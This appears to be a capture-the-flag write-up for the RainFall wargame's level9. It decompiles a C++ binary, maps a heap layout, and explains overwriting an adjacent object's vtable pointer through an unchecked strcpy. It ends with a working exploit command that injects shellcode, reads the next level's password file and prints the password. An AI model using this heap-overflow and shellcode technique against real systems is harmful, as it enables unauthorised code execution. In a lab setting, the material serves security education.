./level9

```
RELRO           STACK CANARY      NX            PIE           RPATH      RUNPATH      FILE
No RELRO        No canary found   NX disabled   No PIE        No RPATH   No RUNPATH   /home/user/level9/level9

level9@RainFall:~$
```

Decompiled file with ***Ghidra***:

```
class N
{
    public:
        N::N(int value) : value(value) {}

        int operator+(const N &rhs) { return this->value + rhs.value; }
        void setAnnotation(char *annotation) { strcpy(this->annotation, annotation); }

        char annotation[100];
        int value;
};

void main(int argc, char **argv)
{
    if (argc < 2)
    {
        exit(1);
    }

    N *obj1 = new N(5);
    N *obj2 = new N(6);

    obj1->setAnnotation(argv[1]);
    *obj2 + *obj1;
    return;
}
```

This time the program is written in **C++**.

Within the **main** function, two objects (**obj1** and **obj2**) of class **N** are instantiated on the **heap**.
The **setAnnotation** method of **obj1** is invoked with the first command-line argument. At the end, the overloaded **operator+** method of **obj2** is called.

./level19²

Looking at the **N::N(int)** constructor in ***Ghidra***:

```
void __thiscall N::N(N *this, int param_1)
{
    *(undefined ***)this = &PTR_operator + _08048848;
    *(int *)(this + 0x68) = param_1;
    return;
}
```

it initializes the **vtable** pointer of the object to address &PTR_operator+_08048848 and sets the object's value field, located 104 bytes (0x68) offset from the start. In between, there are the 100 bytes for the annotation.

Using **gdb**, we can determine the address of **obj1**. By setting a breakpoint at the **setAnnotation** function and examining the **eax** register, we find that its address is 0x0804a008.

To provide a clearer understanding, let's depict the heap structure visually:

obj1	0x804a008	08 04 88 48	00 00 00 00	00 00 00 00	00 00 00 00	
	0x804a018	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00	
	0x804a028	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00	
	0x804a038	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00	
	0x804a048	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00	operator+
	0x804a058	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00	annotation[100]
	0x804a068	00 00 00 00	00 00 00 00	00 00 00 05	00 00 00 71	
obj2	0x804a078	08 04 88 48	00 00 00 00	00 00 00 00	00 00 00 00	value
	0x804a088	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00	
	0x804a098	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00	heap metadata
	0x804a0a8	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00	
	0x804a0b8	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00	
	0x804a0c8	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00	
	0x804a0d8	00 00 00 00	00 00 00 00	00 00 00 06	00 02 0f 21	

From the **heap** layout, it's clear that if there's a *buffer overflow* in **obj1**, it could overwrite the **operator+** pointer of **obj2** because they're next to each other in memory.

The challenge now becomes: what address should we write?

The **annotation[100]** of **obj1** starts at 0x804a008 + 4, which is **0x804a00c**, this is where our **payload** will start. However if we place our **shellcode** directly, the program will treat its first four bytes as an address and try to jump to it, which is not the behavior we want.

To circumvent this, we can make our **shellcode's** initial 4 bytes point to its next segment. By doing so, we essentially *jump* the initial 4 bytes and ensure our **shellcode** starts its execution from 0x804a00c + 4, which is 0x804a010.

./level9[3]

```
level9@RainFall:~$ ./level9 "$(python -c "
shellcode='\x10\xa0\x04\x08\x31\xc9\xf7\xe1\x51\x68\...\xe3\xb0\x0b\xcd\x80'
padding = 'A' * (0x804a078 - 0x804a00c - len(shellcode))
jumpto='\x0c\xa0\x04\x08'
print(shellcode + padding + jumpto)")" <<< "cd ../bonus0 && cat .pass";

f3f0004b6f364cb5a4147e9ef827fa922a4861408845c26b6971ad770d906728

level9@RainFall:~$ su bonus0
Password: f3f0004b6f364cb5a4147e9ef827fa922a4861408845c26b6971ad770d906728

bonus0@RainFall:~$
```